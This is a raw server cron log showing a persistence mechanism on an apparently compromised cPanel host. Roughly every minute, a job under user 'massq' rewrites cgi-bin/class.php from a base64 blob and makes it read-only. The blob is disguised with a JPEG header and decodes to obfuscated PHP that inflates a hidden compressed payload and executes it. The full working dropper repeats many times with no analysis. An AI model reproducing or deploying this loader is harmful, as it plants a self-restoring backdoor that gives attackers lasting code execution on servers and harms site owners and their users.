Nov 11 04:53:01 server CROND[2497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:54:01 server CROND[3429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:55:01 server CROND[3755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:55:01 server CROND[3756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:55:01 server CROND[3757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:56:01 server CROND[4603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:57:01 server CROND[5399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:57:01 server CROND[5400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 04:58:01 server CROND[5930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:59:01 server CROND[6746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:00:01 server CROND[7616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:00:01 server CROND[7617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:00:01 server CROND[7619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:00:01 server CROND[7618]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:01:01 server CROND[8607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:01:01 server CROND[8610]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 05:01:01 server run-parts(/etc/cron.hourly)[8610]: starting 0anacron
Nov 11 05:01:01 server run-parts(/etc/cron.hourly)[8625]: finished 0anacron
Nov 11 05:02:01 server CROND[9566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:03:01 server CROND[10379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:04:01 server CROND[11232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:05:01 server CROND[11991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:05:01 server CROND[11993]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 05:05:01 server CROND[11998]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 05:05:01 server CROND[11999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:05:01 server CROND[11996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
